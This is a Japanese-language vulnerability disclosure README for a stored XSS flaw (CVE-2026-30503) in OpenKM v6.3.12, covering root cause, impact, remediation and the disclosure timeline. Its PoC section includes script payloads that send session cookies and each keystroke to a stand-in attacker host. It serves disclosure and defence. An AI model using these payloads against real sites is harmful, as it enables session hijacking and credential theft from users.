dharmstm/cve-2026-30503-openkm-6.3.12-stored-xssCVE-2026-30503の詳細な開示。OpenKM v6.3.12の格納型XSS脆弱性。根本原因分析、PoCペイロード、影響評価、セキュリティ研究者とペネトレーションテスター向けの修復推奨事項を含む。
このリポジトリは、企業環境で広く使用されているオープンソースの文書管理システム OpenKM v6.3.12 で特定された保存型クロスサイトスクリプティング (XSS) 脆弱性である CVE-2026-30503 の責任ある開示を記録したものです。
この脆弱性により、認証された攻撃者が永続的な悪意のあるJavaScriptをアプリケーションに注入でき、その後影響を受けるコンテンツを閲覧するすべてのユーザー（管理者を含む）のブラウザコンテキストで実行されます。
⚠️ 深刻度: 高 | 攻撃ベクトル: ネットワーク | 必要な権限: 低 | ユーザー操作: 必要
| 項目 | 詳細 |
|---|---|
| CVE ID | CVE-2026-30503 |
| 製品 | OpenKM |
| 影響を受けるバージョン | v6.3.12 |
| 脆弱性の分類 | 保存型クロスサイトスクリプティング (XSS) |
| CWE | CWE-79: Improper Neutralization of Input During Web Page Generation |
| CVSSベクトル | CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N |
| 研究者 | Dharmendra Kumar |
| 開示の種類 | 責任ある開示 / 協調的開示 |
OpenKM は、ビジネス文書の管理、監査、配布のためのウェブインターフェースを提供する、無料のオープンソース文書管理システム (DMS) です。世界中の企業、政府機関、教育機関で利用されています。
v6.3.12OpenKM v6.3.12 では、複数の保存型クロスサイトスクリプティング (XSS) 脆弱性が発見されました。低権限の認証アクセスを持つ攻撃者は、1つ以上の入力フィールドに任意のJavaScriptペイロードを注入できます。これらのペイロードはアプリケーションのバックエンドに永続的に保存され、管理者を含むすべてのユーザーが影響を受けるページまたはコンポーネントにアクセスすると自動的に実行されます。
被害者が細工されたリンクをクリックする必要がある反射型XSSとは異なり、保存型XSSのペイロードはアプリケーション自体に埋め込まれるため、はるかに危険で永続的です。
この脆弱性は、アプリケーションの入力処理パイプラインにおける3つの複合的な弱点に起因しています:
User Input ──► [NO Validation] ──► Stored in DB ──► [NO Output Encoding] ──► Rendered in Browser ──► XSS Executed
| 弱点 | 説明 |
|---|---|
| ❌ 入力検証の欠如 | アプリケーションはユーザー指定フィールドの特殊文字 (<, >, ", ', ;) を制限またはサニタイズしない |
| ❌ 出力エンコードの欠如 | 保存された値がHTMLエンティティエンコードなしで直接HTMLにレンダリングされる |
| ❌ 安全でないDOMレンダリング | ユーザー指定データがCSPやサニタイズ制御なしでDOMコンテキストに埋め込まれる |
この脆弱性の悪用に成功すると、以下につながる可能性があります:
| リスク | 説明 |
|---|---|
| 🍪 セッションハイジャック | document.cookie の外部送信による認証済みセッショントークンの窃取 |
| 👤 アカウント乗っ取り | 管理者アカウントを含む被害者アカウントの侵害 |
| 🔐 資格情報の収集 | ログイン資格情報を取得するためのフィッシングフォームの注入 |
| 📤 データの外部流出 | DMSから機密文書やメタデータを静かに抽出 |
| ⚙️ 不正な操作 | 被害者に代わって特権操作を実行（文書の削除/変更） |
| 🎯 管理者への標的化 | 管理者がコンテンツを確認する際に管理パネルでペイロードが実行される |
| 🔄 ワーム型感染 | 自己複製型XSSペイロードがユーザー間で拡散する |
⚠️ 免責事項: このPoCは、責任ある開示の原則に基づき、教育およびセキュリティ研究目的でのみ共有されています。所有していないシステム、または明示的な書面によるテスト許可を得ていないシステムに対しては使用しないでください。
// Basic PoC — demonstrates script execution
<script>alert('CVE-2026-30503 - XSS by Dharmendra Kumar')</script>
// Session token exfiltration
<script>fetch('https://attacker.example.com/steal?c='+document.cookie)</script>
// Keylogger injection
<script>document.onkeypress=function(e){fetch('https://attacker.example.com/log?k='+e.key)}</script>
<script>alert(document.cookie)</script> などのXSSペイロードを注入する| 推奨事項 | 実装 |
|---|---|
| ✅ 入力検証 | 許可文字をホワイトリスト化し、すべてのユーザー入力でHTML特殊文字を拒否または除去する |
| ✅ 出力エンコード | HTMLにデータをレンダリングする前に、コンテキスト認識型のHTMLエンコード（例: OWASP Java Encoder）を使用する |
| ✅ コンテンツセキュリティポリシー (CSP) | 厳格なCSPヘッダーを実装する: Content-Security-Policy: script-src 'self' |
| ✅ HTTPOnly & Secure Cookie | JSアクセスを防ぐため、すべてのセッションCookieに HttpOnly および Secure フラグを設定する |
| ✅ セキュリティライブラリの使用 | HTMLサニタイズにOWASP AntiSamyまたはDOMPurifyを統合する |
| ✅ セキュリティコードレビュー | サニタイズされていないユーザー制御データがないか、すべてのレンダリングパスを監査する |
| ✅ アップグレード | ベンダー提供の最新パッチを適用するか、パッチ適用済みバージョンにアップグレードする |
| 日付 | イベント |
|---|---|
| 🔍 発見 | OpenKM v6.3.12のセキュリティ評価中に脆弱性を特定 |
| 📧 ベンダーへの通知 | 初期開示レポートをOpenKMセキュリティチームに提出 |
| 🤝 ベンダーの確認 | OpenKMチームがレポートを確認 |
| 📝 CVE割り当て | CVE ProgramによってCVE-2026-30503が割り当てられる |
| 🌐 公開開示 | 修復期間後に協調的な公開開示を実施 |
この脆弱性は、公開前にベンダーおよびCVE Programと調整するという責任ある開示のベストプラクティスに従って開示されました。
セキュリティリサーチャー | ペネトレーションテスター | バグハンター
Dharmendra Kumarは、ウェブアプリケーションセキュリティ、ペネトレーションテスト、責任ある脆弱性開示を専門とする独立系サイバーセキュリティリサーチャーです。広く使用されているソフトウェアにおける実際のセキュリティ欠陥の特定に注力し、世界中で使用されるアプリケーションのセキュリティ態勢の向上に貢献しています。
専門分野:
連絡先:
このリポジトリは教育および情報提供のみを目的としています。ここで共有される脆弱性の詳細と概念実証ペイロードは、責任ある開示の原則に基づいて公開されています。著者は、この情報の不正使用を容認せず、奨励もせず、その責任も負いません。いかなるシステムでセキュリティテストを実施する前にも、必ず明示的な書面による許可を取得してください。
特に以下の方々に感謝します:
⭐ この研究が役に立った場合は、このリポジトリにスターを付けることを検討してください。
© 2026 Dharmendra Kumar — 無断転載を禁じます
